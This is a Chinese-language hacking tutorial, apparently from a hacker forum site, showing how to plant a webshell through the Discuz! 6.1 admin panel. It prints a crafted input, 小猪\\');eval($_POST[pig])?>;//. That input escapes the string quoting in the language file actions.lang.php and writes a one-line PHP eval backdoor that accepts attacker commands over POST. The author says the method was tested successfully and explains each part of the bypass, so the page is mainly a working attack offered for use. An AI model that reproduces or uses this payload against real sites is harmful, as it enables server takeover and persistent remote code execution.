| 网站首页 | Vip会员区 | 教程 | 下载 | 图片 | QQ家园 | 免费资源 | 在线服务 | 论坛 | 博客 | 程序开发 | It学堂 | 作品发布 | 
站点相关
代刻黑客光盘或订做光盘

精品软件程序定制

为您的网站或者服务器保驾护航
相关内容
最 新 热 门
相 关 文 章
没有相关文章
您现在的位置: 红色黑客联盟 >> 教程 >> 黑客技术 >> 脚本攻防 >> 正文
discuz6.1后台拿webshell方法
文章录入:7747.Net    责任编辑:7747.Net 

【字体:

摘自 晴天小猪

我本机测试成功

actions.lang.php

<?php

// Action Pack for Discuz! Version 1.0.0
// Created by Crossday

$actioncode = array
(
0 => '回到论坛',

1 => '浏览论坛首页',
2 => '浏览论坛版块',
省略...

255 => '提示信息/页面跳转'
);

$language = array
(
'guest' => '游客'
);
?>

在游客地方可以得到 网上很多方法都是这里的 基本都不能成功

所以我们来想办法

'游客'

其实很简单 只要<?php eval($_POST[cmd])?> 能绕过 '游客' 逗号就可以了

方法有很多 我最终得到一个最简单最实用的code

小猪\\');eval($_POST[pig])?>;//

下面来说下为什么

<?php

// Action Pack for Discuz! Version 1.0.0
// Created by Crossday

$actioncode = array
(
0 => '回到论坛',

1 => '浏览论坛首页',
省略...);

$language = array
(
'guest' => '小猪\\');eval($ _POST[pig])?>;//');?>

一  '小猪\\'这个变成了刚才的'游客'

因为discuz官方把'都过滤了 '会转义成\' 这个叫转义字符 有兴趣的朋友可以去学习下 

二 //');?>  //这个注释掉了');?> 

php语言里面//是注释的的意思 后面的语句不起任何作用 只是为了注释

eval($_POST[pig])?>这个和代码开头的<?php 构成了

<?php eval($_POST[pig])?>

成功得到一句话后门 

呵呵 很简单

如图

您对本文章有什么意见或着疑问吗?请到论坛讨论您的关注和建议是我们前行的参考和动力
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     | 设为首页 | 加入收藏 | 广告服务 | 我要投稿 | 关于我们 | 版权申明 | 免责声明 | 隐私声明 | 网站地图 |